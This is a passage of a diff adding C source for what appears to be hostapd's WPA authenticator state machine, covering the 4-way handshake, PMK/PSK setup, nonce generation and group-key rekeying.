+ data, data_len, key->key_mic) || + os_memcmp(mic, key->key_mic, 16) != 0) + ret = -1; + os_memcpy(key->key_mic, mic, 16); + return ret; +} + + +void wpa_remove_ptk(struct wpa_state_machine *sm) +{ + sm->PTK_valid = FALSE; + os_memset(&sm->PTK, 0, sizeof(sm->PTK)); + wpa_auth_set_key(sm->wpa_auth, 0, WPA_ALG_NONE, sm->addr, 0, NULL, 0); + sm->pairwise_set = FALSE; + eloop_cancel_timeout(wpa_rekey_ptk, sm->wpa_auth, sm); +} + + +int wpa_auth_sm_event(struct wpa_state_machine *sm, wpa_event event) +{ + int remove_ptk = 1; + + if (sm == NULL) + return -1; + + wpa_auth_vlogger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, + "event %d notification", event); + + switch (event) { + case WPA_AUTH: + case WPA_ASSOC: + break; + case WPA_DEAUTH: + case WPA_DISASSOC: + sm->DeauthenticationRequest = TRUE; + break; + case WPA_REAUTH: + case WPA_REAUTH_EAPOL: + if (!sm->started) { + /* + * When using WPS, we may end up here if the STA + * manages to re-associate without the previous STA + * entry getting removed. Consequently, we need to make + * sure that the WPA state machines gets initialized + * properly at this point. + */ + wpa_printf(MSG_DEBUG, "WPA state machine had not been " + "started - initialize now"); + sm->started = 1; + sm->Init = TRUE; + if (wpa_sm_step(sm) == 1) + return 1; /* should not really happen */ + sm->Init = FALSE; + sm->AuthenticationRequest = TRUE; + break; + } + if (sm->GUpdateStationKeys) { + /* + * Reauthentication cancels the pending group key + * update for this STA. + */ + sm->group->GKeyDoneStations--; + sm->GUpdateStationKeys = FALSE; + sm->PtkGroupInit = TRUE; + } + sm->ReAuthenticationRequest = TRUE; + break; + case WPA_ASSOC_FT: +#ifdef CONFIG_IEEE80211R + wpa_printf(MSG_DEBUG, "FT: Retry PTK configuration " + "after association"); + wpa_ft_install_ptk(sm); + + /* Using FT protocol, not WPA auth state machine */ + sm->ft_completed = 1; + return 0; +#else /* CONFIG_IEEE80211R */ + break; +#endif /* CONFIG_IEEE80211R */ + } + +#ifdef CONFIG_IEEE80211R + sm->ft_completed = 0; +#endif /* CONFIG_IEEE80211R */ + +#ifdef CONFIG_IEEE80211W + if (sm->mgmt_frame_prot && event == WPA_AUTH) + remove_ptk = 0; +#endif /* CONFIG_IEEE80211W */ + + if (remove_ptk) { + sm->PTK_valid = FALSE; + os_memset(&sm->PTK, 0, sizeof(sm->PTK)); + + if (event != WPA_REAUTH_EAPOL) + wpa_remove_ptk(sm); + } + + return wpa_sm_step(sm); +} + + +SM_STATE(WPA_PTK, INITIALIZE) +{ + SM_ENTRY_MA(WPA_PTK, INITIALIZE, wpa_ptk); + if (sm->Init) { + /* Init flag is not cleared here, so avoid busy + * loop by claiming nothing changed. */ + sm->changed = FALSE; + } + + sm->keycount = 0; + if (sm->GUpdateStationKeys) + sm->group->GKeyDoneStations--; + sm->GUpdateStationKeys = FALSE; + if (sm->wpa == WPA_VERSION_WPA) + sm->PInitAKeys = FALSE; + if (1 /* Unicast cipher supported AND (ESS OR ((IBSS or WDS) and + * Local AA > Remote AA)) */) { + sm->Pair = TRUE; + } + wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_portEnabled, 0); + wpa_remove_ptk(sm); + wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_portValid, 0); + sm->TimeoutCtr = 0; + if (wpa_key_mgmt_wpa_psk(sm->wpa_key_mgmt)) { + wpa_auth_set_eapol(sm->wpa_auth, sm->addr, + WPA_EAPOL_authorized, 0); + } +} + + +SM_STATE(WPA_PTK, DISCONNECT) +{ + SM_ENTRY_MA(WPA_PTK, DISCONNECT, wpa_ptk); + sm->Disconnect = FALSE; + wpa_sta_disconnect(sm->wpa_auth, sm->addr); +} + + +SM_STATE(WPA_PTK, DISCONNECTED) +{ + SM_ENTRY_MA(WPA_PTK, DISCONNECTED, wpa_ptk); + sm->DeauthenticationRequest = FALSE; +} + + +SM_STATE(WPA_PTK, AUTHENTICATION) +{ + SM_ENTRY_MA(WPA_PTK, AUTHENTICATION, wpa_ptk); + os_memset(&sm->PTK, 0, sizeof(sm->PTK)); + sm->PTK_valid = FALSE; + wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_portControl_Auto, + 1); + wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_portEnabled, 1); + sm->AuthenticationRequest = FALSE; +} + + +static void wpa_group_ensure_init(struct wpa_authenticator *wpa_auth, + struct wpa_group *group) +{ + if (group->first_sta_seen) + return; + /* + * System has run bit further than at the time hostapd was started + * potentially very early during boot up. This provides better chances + * of collecting more randomness on embedded systems. Re-initialize the + * GMK and Counter here to improve their strength if there was not + * enough entropy available immediately after system startup. + */ + wpa_printf(MSG_DEBUG, "WPA: Re-initialize GMK/Counter on first " + "station"); + if (random_pool_ready() != 1) { + wpa_printf(MSG_INFO, "WPA: Not enough entropy in random pool " + "to proceed - reject first 4-way handshake"); + group->reject_4way_hs_for_entropy = TRUE; + } else { + group->first_sta_seen = TRUE; + group->reject_4way_hs_for_entropy = FALSE; + } + + wpa_group_init_gmk_and_counter(wpa_auth, group); + wpa_gtk_update(wpa_auth, group); + wpa_group_config_group_keys(wpa_auth, group); +} + + +SM_STATE(WPA_PTK, AUTHENTICATION2) +{ + SM_ENTRY_MA(WPA_PTK, AUTHENTICATION2, wpa_ptk); + + wpa_group_ensure_init(sm->wpa_auth, sm->group); + sm->ReAuthenticationRequest = FALSE; + + /* + * Definition of ANonce selection in IEEE Std 802.11i-2004 is somewhat + * ambiguous. The Authenticator state machine uses a counter that is + * incremented by one for each 4-way handshake. However, the security + * analysis of 4-way handshake points out that unpredictable nonces + * help in preventing precomputation attacks. Instead of the state + * machine definition, use an unpredictable nonce value here to provide + * stronger protection against potential precomputation attacks. + */ + if (random_get_bytes(sm->ANonce, WPA_NONCE_LEN)) { + wpa_printf(MSG_ERROR, "WPA: Failed to get random data for " + "ANonce."); + sm->Disconnect = TRUE; + return; + } + wpa_hexdump(MSG_DEBUG, "WPA: Assign ANonce", sm->ANonce, + WPA_NONCE_LEN); + /* IEEE 802.11i does not clear TimeoutCtr here, but this is more + * logical place than INITIALIZE since AUTHENTICATION2 can be + * re-entered on ReAuthenticationRequest without going through + * INITIALIZE. */ + sm->TimeoutCtr = 0; +} + + +SM_STATE(WPA_PTK, INITPMK) +{ + u8 msk[2 * PMK_LEN]; + size_t len = 2 * PMK_LEN; + + SM_ENTRY_MA(WPA_PTK, INITPMK, wpa_ptk); +#ifdef CONFIG_IEEE80211R + sm->xxkey_len = 0; +#endif /* CONFIG_IEEE80211R */ + if (sm->pmksa) { + wpa_printf(MSG_DEBUG, "WPA: PMK from PMKSA cache"); + os_memcpy(sm->PMK, sm->pmksa->pmk, PMK_LEN); + } else if (wpa_auth_get_msk(sm->wpa_auth, sm->addr, msk, &len) == 0) { + wpa_printf(MSG_DEBUG, "WPA: PMK from EAPOL state machine " + "(len=%lu)", (unsigned long) len); + os_memcpy(sm->PMK, msk, PMK_LEN); +#ifdef CONFIG_IEEE80211R + if (len >= 2 * PMK_LEN) { + os_memcpy(sm->xxkey, msk + PMK_LEN, PMK_LEN); + sm->xxkey_len = PMK_LEN; + } +#endif /* CONFIG_IEEE80211R */ + } else { + wpa_printf(MSG_DEBUG, "WPA: Could not get PMK"); + } + + sm->req_replay_counter_used = 0; + /* IEEE 802.11i does not set keyRun to FALSE, but not doing this + * will break reauthentication since EAPOL state machines may not be + * get into AUTHENTICATING state that clears keyRun before WPA state + * machine enters AUTHENTICATION2 state and goes immediately to INITPMK + * state and takes PMK from the previously used AAA Key. This will + * eventually fail in 4-Way Handshake because Supplicant uses PMK + * derived from the new AAA Key. Setting keyRun = FALSE here seems to + * be good workaround for this issue. */ + wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_keyRun, 0); +} + + +SM_STATE(WPA_PTK, INITPSK) +{ + const u8 *psk; + SM_ENTRY_MA(WPA_PTK, INITPSK, wpa_ptk); + psk = wpa_auth_get_psk(sm->wpa_auth, sm->addr, sm->p2p_dev_addr, NULL); + if (psk) { + os_memcpy(sm->PMK, psk, PMK_LEN); +#ifdef CONFIG_IEEE80211R + os_memcpy(sm->xxkey, psk, PMK_LEN); + sm->xxkey_len = PMK_LEN; +#endif /* CONFIG_IEEE80211R */ + } + sm->req_replay_counter_used = 0; +} + + +SM_STATE(WPA_PTK, PTKSTART) +{ + u8 buf[2 + RSN_SELECTOR_LEN + PMKID_LEN], *pmkid = NULL; + size_t pmkid_len = 0; + + SM_ENTRY_MA(WPA_PTK, PTKSTART, wpa_ptk); + sm->PTKRequest = FALSE; + sm->TimeoutEvt = FALSE; + + sm->TimeoutCtr++; + if (sm->TimeoutCtr > (int) dot11RSNAConfigPairwiseUpdateCount) { + /* No point in sending the EAPOL-Key - we will disconnect + * immediately following this. */ + return; + } + + wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, + "sending 1/4 msg of 4-Way Handshake"); + /* + * TODO: Could add PMKID even with WPA2-PSK, but only if there is only + * one possible PSK for this STA. + */ + if (sm->wpa == WPA_VERSION_WPA2 && + wpa_key_mgmt_wpa_ieee8021x(sm->wpa_key_mgmt)) { + pmkid = buf; + pmkid_len = 2 + RSN_SELECTOR_LEN + PMKID_LEN; + pmkid[0] = WLAN_EID_VENDOR_SPECIFIC; + pmkid[1] = RSN_SELECTOR_LEN + PMKID_LEN; + RSN_SELECTOR_PUT(&pmkid[2], RSN_KEY_DATA_PMKID); + if (sm->pmksa) + os_memcpy(&pmkid[2 + RSN_SELECTOR_LEN], + sm->pmksa->pmkid, PMKID_LEN); + else { + /* + * Calculate PMKID since no PMKSA cache entry was + * available with pre-calculated PMKID. + */ + rsn_pmkid(sm->PMK, PMK_LEN, sm->wpa_auth->addr, + sm->addr, &pmkid[2 + RSN_SELECTOR_LEN], + wpa_key_mgmt_sha256(sm->wpa_key_mgmt)); + } + } + wpa_send_eapol(sm->wpa_auth, sm, + WPA_KEY_INFO_ACK | WPA_KEY_INFO_KEY_TYPE, NULL, + sm->ANonce, pmkid, pmkid_len, 0, 0); +} + + +static int wpa_derive_ptk(struct wpa_state_machine *sm, const u8 *pmk, + struct wpa_ptk *ptk) +{ + size_t ptk_len = sm->pairwise != WPA_CIPHER_TKIP ? 48 : 64; +#ifdef CONFIG_IEEE80211R + if (wpa_key_mgmt_ft(sm->wpa_key_mgmt)) + return wpa_auth_derive_ptk_ft(sm, pmk, ptk, ptk_len); +#endif /* CONFIG_IEEE80211R */ + + wpa_pmk_to_ptk(pmk, PMK_LEN, "Pairwise key expansion", + sm->wpa_auth->addr, sm->addr, sm->ANonce, sm->SNonce, + (u8 *) ptk, ptk_len, + wpa_key_mgmt_sha256(sm->wpa_key_mgmt)); + + return 0; +} + + +SM_STATE(WPA_PTK, PTKCALCNEGOTIATING) +{ + struct wpa_ptk PTK; + int ok = 0; + const u8 *pmk = NULL; + + SM_ENTRY_MA(WPA_PTK, PTKCALCNEGOTIATING, wpa_ptk); + sm->EAPOLKeyReceived = FALSE; + sm->update_snonce = FALSE; + + /* WPA with IEEE 802.1X: use the derived PMK from EAP + * WPA-PSK: iterate through possible PSKs and select the one matching + * the packet */ + for (;;) { + if (wpa_key_mgmt_wpa_psk(sm->wpa_key_mgmt)) { + pmk = wpa_auth_get_psk(sm->wpa_auth, sm->addr, + sm->p2p_dev_addr, pmk); + if (pmk == NULL) + break; + } else + pmk = sm->PMK; + + wpa_derive_ptk(sm, pmk, &PTK); + + if (wpa_verify_key_mic(&PTK, sm->last_rx_eapol_key, + sm->last_rx_eapol_key_len) == 0) { + ok = 1; + break; + } + + if (!wpa_key_mgmt_wpa_psk(sm->wpa_key_mgmt)) + break; + } + + if (!ok) { + wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, + "invalid MIC in msg 2/4 of 4-Way Handshake"); + return; + } + +#ifdef CONFIG_IEEE80211R + if (sm->wpa == WPA_VERSION_WPA2 && wpa_key_mgmt_ft(sm->wpa_key_mgmt)) { + /* + * Verify that PMKR1Name from EAPOL-Key message 2/4 matches + * with the value we derived. + */ + if (os_memcmp(sm->sup_pmk_r1_name, sm->pmk_r1_name, + WPA_PMK_NAME_LEN) != 0) { + wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, + "PMKR1Name mismatch in FT 4-way " + "handshake"); + wpa_hexdump(MSG_DEBUG, "FT: PMKR1Name from " + "Supplicant", + sm->sup_pmk_r1_name, WPA_PMK_NAME_LEN); + wpa_hexdump(MSG_DEBUG, "FT: Derived PMKR1Name", + sm->pmk_r1_name, WPA_PMK_NAME_LEN); + return; + } + } +#endif /* CONFIG_IEEE80211R */ + + sm->pending_1_of_4_timeout = 0; + eloop_cancel_timeout(wpa_send_eapol_timeout, sm->wpa_auth, sm); + + if (wpa_key_mgmt_wpa_psk(sm->wpa_key_mgmt)) { + /* PSK may have changed from the previous choice, so update + * state machine data based on whatever PSK was selected here. + */ + os_memcpy(sm->PMK, pmk, PMK_LEN); + } + + sm->MICVerified = TRUE; + + os_memcpy(&sm->PTK, &PTK, sizeof(PTK)); + sm->PTK_valid = TRUE; +} + + +SM_STATE(WPA_PTK, PTKCALCNEGOTIATING2) +{ + SM_ENTRY_MA(WPA_PTK, PTKCALCNEGOTIATING2, wpa_ptk); + sm->TimeoutCtr = 0; +} + + +#ifdef CONFIG_IEEE80211W + +static int ieee80211w_kde_len(struct wpa_state_machine *sm) +{ + if (sm->mgmt_frame_prot) { + return 2 + RSN_SELECTOR_LEN + sizeof(struct wpa_igtk_kde); + } + + return 0; +} + + +static u8 * ieee80211w_kde_add(struct wpa_state_machine *sm, u8 *pos) +{ + struct wpa_igtk_kde igtk; + struct wpa_group *gsm = sm->group; + u8 rsc[WPA_KEY_RSC_LEN]; + + if (!sm->mgmt_frame_prot) + return pos; + + igtk.keyid[0] = gsm->GN_igtk; + igtk.keyid[1] = 0; + if (gsm->wpa_group_state != WPA_GROUP_SETKEYSDONE || + wpa_auth_get_seqnum(sm->wpa_auth, NULL, gsm->GN_igtk, rsc) < 0) + os_memset(igtk.pn, 0, sizeof(igtk.pn)); + else + os_memcpy(igtk.pn, rsc, sizeof(igtk.pn)); + os_memcpy(igtk.igtk, gsm->IGTK[gsm->GN_igtk - 4], WPA_IGTK_LEN); + if (sm->wpa_auth->conf.disable_gtk) { + /* + * Provide unique random IGTK to each STA to prevent use of + * IGTK in the BSS. + */ + if (random_get_bytes(igtk.igtk, WPA_IGTK_LEN) < 0) + return pos; + } + pos = wpa_add_kde(pos, RSN_KEY_DATA_IGTK, + (const u8 *) &igtk, sizeof(igtk), NULL, 0); + + return pos; +} + +#else /* CONFIG_IEEE80211W */ + +static int ieee80211w_kde_len(struct wpa_state_machine *sm) +{ + return 0; +} + + +static u8 * ieee80211w_kde_add(struct wpa_state_machine *sm, u8 *pos) +{ + return pos; +} + +#endif /* CONFIG_IEEE80211W */ + + +SM_STATE(WPA_PTK, PTKINITNEGOTIATING) +{ + u8 rsc[WPA_KEY_RSC_LEN], *_rsc, *gtk, *kde, *pos, dummy_gtk[32]; + size_t gtk_len, kde_len; + struct wpa_group *gsm = sm->group; + u8 *wpa_ie; + int wpa_ie_len, secure, keyidx, encr = 0; + + SM_ENTRY_MA(WPA_PTK, PTKINITNEGOTIATING, wpa_ptk); + sm->TimeoutEvt = FALSE; + + sm->TimeoutCtr++; + if (sm->TimeoutCtr > (int) dot11RSNAConfigPairwiseUpdateCount) { + /* No point in sending the EAPOL-Key - we will disconnect + * immediately following this. */ + return; + } + + /* Send EAPOL(1, 1, 1, Pair, P, RSC, ANonce, MIC(PTK), RSNIE, [MDIE], + GTK[GN], IGTK, [FTIE], [TIE * 2]) + */ + os_memset(rsc, 0, WPA_KEY_RSC_LEN); + wpa_auth_get_seqnum(sm->wpa_auth, NULL, gsm->GN, rsc); + /* If FT is used, wpa_auth->wpa_ie includes both RSNIE and MDIE */ + wpa_ie = sm->wpa_auth->wpa_ie; + wpa_ie_len = sm->wpa_auth->wpa_ie_len; + if (sm->wpa == WPA_VERSION_WPA && + (sm->wpa_auth->conf.wpa & WPA_PROTO_RSN) && + wpa_ie_len > wpa_ie[1] + 2 && wpa_ie[0] == WLAN_EID_RSN) { + /* WPA-only STA, remove RSN IE */ + wpa_ie = wpa_ie + wpa_ie[1] + 2; + wpa_ie_len = wpa_ie[1] + 2; + } + wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, + "sending 3/4 msg of 4-Way Handshake"); + if (sm->wpa == WPA_VERSION_WPA2) { + /* WPA2 send GTK in the 4-way handshake */ + secure = 1; + gtk = gsm->GTK[gsm->GN - 1]; + gtk_len = gsm->GTK_len; + if (sm->wpa_auth->conf.disable_gtk) { + /* + * Provide unique random GTK to each STA to prevent use + * of GTK in the BSS. + */ + if (random_get_bytes(dummy_gtk, gtk_len) < 0) + return; + gtk = dummy_gtk; + } + keyidx = gsm->GN; + _rsc = rsc; + encr = 1; + } else { + /* WPA does not include GTK in msg 3/4 */ + secure = 0; + gtk = NULL; + gtk_len = 0; + keyidx = 0; + _rsc = NULL; + if (sm->rx_eapol_key_secure) { + /* + * It looks like Windows 7 supplicant tries to use + * Secure bit in msg 2/4 after having reported Michael + * MIC failure and it then rejects the 4-way handshake + * if msg 3/4 does not set Secure bit. Work around this + * by setting the Secure bit here even in the case of + * WPA if the supplicant used it first. + */ + wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, + "STA used Secure bit in WPA msg 2/4 - " + "set Secure for 3/4 as workaround"); + secure = 1; + } + } + + kde_len = wpa_ie_len + ieee80211w_kde_len(sm); + if (gtk) + kde_len += 2 + RSN_SELECTOR_LEN + 2 + gtk_len; +#ifdef CONFIG_IEEE80211R + if (wpa_key_mgmt_ft(sm->wpa_key_mgmt)) { + kde_len += 2 + PMKID_LEN; /* PMKR1Name into RSN IE */ + kde_len += 300; /* FTIE + 2 * TIE */ + } +#endif /* CONFIG_IEEE80211R */ + kde = os_malloc(kde_len); + if (kde == NULL) + return; + + pos = kde; + os_memcpy(pos, wpa_ie, wpa_ie_len); + pos += wpa_ie_len; +#ifdef CONFIG_IEEE80211R + if (wpa_key_mgmt_ft(sm->wpa_key_mgmt)) { + int res = wpa_insert_pmkid(kde, pos - kde, sm->pmk_r1_name); + if (res < 0) { + wpa_printf(MSG_ERROR, "FT: Failed to insert " + "PMKR1Name into RSN IE in EAPOL-Key data"); + os_free(kde); + return; + } + pos += res; + } +#endif /* CONFIG_IEEE80211R */ + if (gtk) { + u8 hdr[2]; + hdr[0] = keyidx & 0x03; + hdr[1] = 0; + pos = wpa_add_kde(pos, RSN_KEY_DATA_GROUPKEY, hdr, 2, + gtk, gtk_len); + } + pos = ieee80211w_kde_add(sm, pos); + +#ifdef CONFIG_IEEE80211R + if (wpa_key_mgmt_ft(sm->wpa_key_mgmt)) { + int res; + struct wpa_auth_config *conf; + + conf = &sm->wpa_auth->conf; + res = wpa_write_ftie(conf, conf->r0_key_holder, + conf->r0_key_holder_len, + NULL, NULL, pos, kde + kde_len - pos, + NULL, 0); + if (res < 0) { + wpa_printf(MSG_ERROR, "FT: Failed to insert FTIE " + "into EAPOL-Key Key Data"); + os_free(kde); + return; + } + pos += res; + + /* TIE[ReassociationDeadline] (TU) */ + *pos++ = WLAN_EID_TIMEOUT_INTERVAL; + *pos++ = 5; + *pos++ = WLAN_TIMEOUT_REASSOC_DEADLINE; + WPA_PUT_LE32(pos, conf->reassociation_deadline); + pos += 4; + + /* TIE[KeyLifetime] (seconds) */ + *pos++ = WLAN_EID_TIMEOUT_INTERVAL; + *pos++ = 5; + *pos++ = WLAN_TIMEOUT_KEY_LIFETIME; + WPA_PUT_LE32(pos, conf->r0_key_lifetime * 60); + pos += 4; + } +#endif /* CONFIG_IEEE80211R */ + + wpa_send_eapol(sm->wpa_auth, sm, + (secure ? WPA_KEY_INFO_SECURE : 0) | WPA_KEY_INFO_MIC | + WPA_KEY_INFO_ACK | WPA_KEY_INFO_INSTALL | + WPA_KEY_INFO_KEY_TYPE, + _rsc, sm->ANonce, kde, pos - kde, keyidx, encr); + os_free(kde); +} + + +SM_STATE(WPA_PTK, PTKINITDONE) +{ + SM_ENTRY_MA(WPA_PTK, PTKINITDONE, wpa_ptk); + sm->EAPOLKeyReceived = FALSE; + if (sm->Pair) { + enum wpa_alg alg = wpa_cipher_to_alg(sm->pairwise); + int klen = wpa_cipher_key_len(sm->pairwise); + if (wpa_auth_set_key(sm->wpa_auth, 0, alg, sm->addr, 0, + sm->PTK.tk1, klen)) { + wpa_sta_disconnect(sm->wpa_auth, sm->addr); + return; + } + /* FIX: MLME-SetProtection.Request(TA, Tx_Rx) */ + sm->pairwise_set = TRUE; + + if (sm->wpa_auth->conf.wpa_ptk_rekey) { + eloop_cancel_timeout(wpa_rekey_ptk, sm->wpa_auth, sm); + eloop_register_timeout(sm->wpa_auth->conf. + wpa_ptk_rekey, 0, wpa_rekey_ptk, + sm->wpa_auth, sm); + } + + if (wpa_key_mgmt_wpa_psk(sm->wpa_key_mgmt)) { + wpa_auth_set_eapol(sm->wpa_auth, sm->addr, + WPA_EAPOL_authorized, 1); + } + } + + if (0 /* IBSS == TRUE */) { + sm->keycount++; + if (sm->keycount == 2) { + wpa_auth_set_eapol(sm->wpa_auth, sm->addr, + WPA_EAPOL_portValid, 1); + } + } else { + wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_portValid, + 1); + } + wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_keyAvailable, 0); + wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_keyDone, 1); + if (sm->wpa == WPA_VERSION_WPA) + sm->PInitAKeys = TRUE; + else + sm->has_GTK = TRUE; + wpa_auth_vlogger(sm->wpa_auth, sm->addr, LOGGER_INFO, + "pairwise key handshake completed (%s)", + sm->wpa == WPA_VERSION_WPA ? "WPA" : "RSN"); + +#ifdef CONFIG_IEEE80211R + wpa_ft_push_pmk_r1(sm->wpa_auth, sm->addr); +#endif /* CONFIG_IEEE80211R */ +} + + +SM_STEP(WPA_PTK) +{ + struct wpa_authenticator *wpa_auth = sm->wpa_auth; + + if (sm->Init) + SM_ENTER(WPA_PTK, INITIALIZE); + else if (sm->Disconnect + /* || FIX: dot11RSNAConfigSALifetime timeout */) { + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_DEBUG, + "WPA_PTK: sm->Disconnect"); + SM_ENTER(WPA_PTK, DISCONNECT); + } + else if (sm->DeauthenticationRequest) + SM_ENTER(WPA_PTK, DISCONNECTED); + else if (sm->AuthenticationRequest) + SM_ENTER(WPA_PTK, AUTHENTICATION); + else if (sm->ReAuthenticationRequest) + SM_ENTER(WPA_PTK, AUTHENTICATION2); + else if (sm->PTKRequest) + SM_ENTER(WPA_PTK, PTKSTART); + else switch (sm->wpa_ptk_state) { + case WPA_PTK_INITIALIZE: + break; + case WPA_PTK_DISCONNECT: + SM_ENTER(WPA_PTK, DISCONNECTED); + break; + case WPA_PTK_DISCONNECTED: + SM_ENTER(WPA_PTK, INITIALIZE); + break; + case WPA_PTK_AUTHENTICATION: + SM_ENTER(WPA_PTK, AUTHENTICATION2); + break; + case WPA_PTK_AUTHENTICATION2: + if (wpa_key_mgmt_wpa_ieee8021x(sm->wpa_key_mgmt) && + wpa_auth_get_eapol(sm->wpa_auth, sm->addr, + WPA_EAPOL_keyRun) > 0) + SM_ENTER(WPA_PTK, INITPMK); + else if (wpa_key_mgmt_wpa_psk(sm->wpa_key_mgmt) + /* FIX: && 802.1X::keyRun */) + SM_ENTER(WPA_PTK, INITPSK); + break; + case WPA_PTK_INITPMK: + if (wpa_auth_get_eapol(sm->wpa_auth, sm->addr, + WPA_EAPOL_keyAvailable) > 0) + SM_ENTER(WPA_PTK, PTKSTART); + else { + wpa_auth->dot11RSNA4WayHandshakeFailures++; + wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_INFO, + "INITPMK - keyAvailable = false"); + SM_ENTER(WPA_PTK, DISCONNECT); + } + break; + case WPA_PTK_INITPSK: + if (wpa_auth_get_psk(sm->wpa_auth, sm->addr, sm->p2p_dev_addr, + NULL)) + SM_ENTER(WPA_PTK, PTKSTART); + else { + wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_INFO, + "no PSK configured for the STA"); + wpa_auth->dot11RSNA4WayHandshakeFailures++; + SM_ENTER(WPA_PTK, DISCONNECT); + } + break; + case WPA_PTK_PTKSTART: + if (sm->EAPOLKeyReceived && !sm->EAPOLKeyRequest && + sm->EAPOLKeyPairwise) + SM_ENTER(WPA_PTK, PTKCALCNEGOTIATING); + else if (sm->TimeoutCtr > + (int) dot11RSNAConfigPairwiseUpdateCount) { + wpa_auth->dot11RSNA4WayHandshakeFailures++; + wpa_auth_vlogger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, + "PTKSTART: Retry limit %d reached", + dot11RSNAConfigPairwiseUpdateCount); + SM_ENTER(WPA_PTK, DISCONNECT); + } else if (sm->TimeoutEvt) + SM_ENTER(WPA_PTK, PTKSTART); + break; + case WPA_PTK_PTKCALCNEGOTIATING: + if (sm->MICVerified) + SM_ENTER(WPA_PTK, PTKCALCNEGOTIATING2); + else if (sm->EAPOLKeyReceived && !sm->EAPOLKeyRequest && + sm->EAPOLKeyPairwise) + SM_ENTER(WPA_PTK, PTKCALCNEGOTIATING); + else if (sm->TimeoutEvt) + SM_ENTER(WPA_PTK, PTKSTART); + break; + case WPA_PTK_PTKCALCNEGOTIATING2: + SM_ENTER(WPA_PTK, PTKINITNEGOTIATING); + break; + case WPA_PTK_PTKINITNEGOTIATING: + if (sm->update_snonce) + SM_ENTER(WPA_PTK, PTKCALCNEGOTIATING); + else if (sm->EAPOLKeyReceived && !sm->EAPOLKeyRequest && + sm->EAPOLKeyPairwise && sm->MICVerified) + SM_ENTER(WPA_PTK, PTKINITDONE); + else if (sm->TimeoutCtr > + (int) dot11RSNAConfigPairwiseUpdateCount) { + wpa_auth->dot11RSNA4WayHandshakeFailures++; + wpa_auth_vlogger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, + "PTKINITNEGOTIATING: Retry limit %d " + "reached", + dot11RSNAConfigPairwiseUpdateCount); + SM_ENTER(WPA_PTK, DISCONNECT); + } else if (sm->TimeoutEvt) + SM_ENTER(WPA_PTK, PTKINITNEGOTIATING); + break; + case WPA_PTK_PTKINITDONE: + break; + } +} + + +SM_STATE(WPA_PTK_GROUP, IDLE) +{ + SM_ENTRY_MA(WPA_PTK_GROUP, IDLE, wpa_ptk_group); + if (sm->Init) { + /* Init flag is not cleared here, so avoid busy + * loop by claiming nothing changed. */ + sm->changed = FALSE; + } + sm->GTimeoutCtr = 0; +} + + +SM_STATE(WPA_PTK_GROUP, REKEYNEGOTIATING) +{ + u8 rsc[WPA_KEY_RSC_LEN]; + struct wpa_group *gsm = sm->group; + u8 *kde, *pos, hdr[2]; + size_t kde_len; + u8 *gtk, dummy_gtk[32]; + + SM_ENTRY_MA(WPA_PTK_GROUP, REKEYNEGOTIATING, wpa_ptk_group); + + sm->GTimeoutCtr++; + if (sm->GTimeoutCtr > (int) dot11RSNAConfigGroupUpdateCount) { + /* No point in sending the EAPOL-Key - we will disconnect + * immediately following this. */ + return; + } + + if (sm->wpa == WPA_VERSION_WPA) + sm->PInitAKeys = FALSE; + sm->TimeoutEvt = FALSE; + /* Send EAPOL(1, 1, 1, !Pair, G, RSC, GNonce, MIC(PTK), GTK[GN]) */ + os_memset(rsc, 0, WPA_KEY_RSC_LEN); + if (gsm->wpa_group_state == WPA_GROUP_SETKEYSDONE) + wpa_auth_get_seqnum(sm->wpa_auth, NULL, gsm->GN, rsc); + wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, + "sending 1/2 msg of Group Key Handshake"); + + gtk = gsm->GTK[gsm->GN - 1]; + if (sm->wpa_auth->conf.disable_gtk) { + /* + * Provide unique random GTK to each STA to prevent use + * of GTK in the BSS. + */ + if (random_get_bytes(dummy_gtk, gsm->GTK_len) < 0) + return; + gtk = dummy_gtk; + } + if (sm->wpa == WPA_VERSION_WPA2) { + kde_len = 2 + RSN_SELECTOR_LEN + 2 + gsm->GTK_len + + ieee80211w_kde_len(sm); + kde = os_malloc(kde_len); + if (kde == NULL) + return; + + pos = kde; + hdr[0] = gsm->GN & 0x03; + hdr[1] = 0; + pos = wpa_add_kde(pos, RSN_KEY_DATA_GROUPKEY, hdr, 2, + gtk, gsm->GTK_len); + pos = ieee80211w_kde_add(sm, pos); + } else { + kde = gtk; + pos = kde + gsm->GTK_len; + } + + wpa_send_eapol(sm->wpa_auth, sm, + WPA_KEY_INFO_SECURE | WPA_KEY_INFO_MIC | + WPA_KEY_INFO_ACK | + (!sm->Pair ? WPA_KEY_INFO_INSTALL : 0), + rsc, gsm->GNonce, kde, pos - kde, gsm->GN, 1); + if (sm->wpa == WPA_VERSION_WPA2) + os_free(kde); +} + + +SM_STATE(WPA_PTK_GROUP, REKEYESTABLISHED) +{ + SM_ENTRY_MA(WPA_PTK_GROUP, REKEYESTABLISHED, wpa_ptk_group); + sm->EAPOLKeyReceived = FALSE; + if (sm->GUpdateStationKeys) + sm->group->GKeyDoneStations--; + sm->GUpdateStationKeys = FALSE; + sm->GTimeoutCtr = 0; + /* FIX: MLME.SetProtection.Request(TA, Tx_Rx) */ + wpa_auth_vlogger(sm->wpa_auth, sm->addr, LOGGER_INFO, + "group key handshake completed (%s)", + sm->wpa == WPA_VERSION_WPA ? "WPA" : "RSN"); + sm->has_GTK = TRUE; +} + + +SM_STATE(WPA_PTK_GROUP, 